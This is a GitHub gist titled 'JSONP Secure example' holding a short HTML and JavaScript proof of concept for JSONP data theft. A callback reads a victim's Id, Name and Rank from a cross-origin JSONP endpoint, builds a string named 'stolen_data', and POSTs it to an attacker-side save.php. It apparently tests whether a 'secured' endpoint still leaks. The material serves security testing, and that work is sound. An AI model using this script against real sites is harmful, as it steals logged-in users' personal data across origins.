Skip to content

Instantly share code, notes, and snippets.

@yehgdotnet
Created June 18, 2018 02:55
Show Gist options
  • Save yehgdotnet/d811b4f95191779a0f9e680691f365a2 to your computer and use it in GitHub Desktop.
Save yehgdotnet/d811b4f95191779a0f9e680691f365a2 to your computer and use it in GitHub Desktop.
JSONP Secure example
<script>
function SavetoServer(data){
var xhttp = new XMLHttpRequest();
xhttp.open("POST", "save.php", true);
xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhttp.send(data);
}
function parseResponse(s){
stolen_data = "id=" + s['Id'] + "&name=" + s['Name'] + '&rank=' + s['Rank'];
document.write("Id:" + s['Id'] + "<br>");
document.write("Name: " + s['Name'] + "<br>");
document.write("Rank: " + s['Rank'] + "<br>");
SavetoServer(stolen_data);
}
</script>
<script label="SECUREJSON Endpoint" src="https://cybersecurityassessor.ninja/poc/jsonp_data_secured.php">
</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment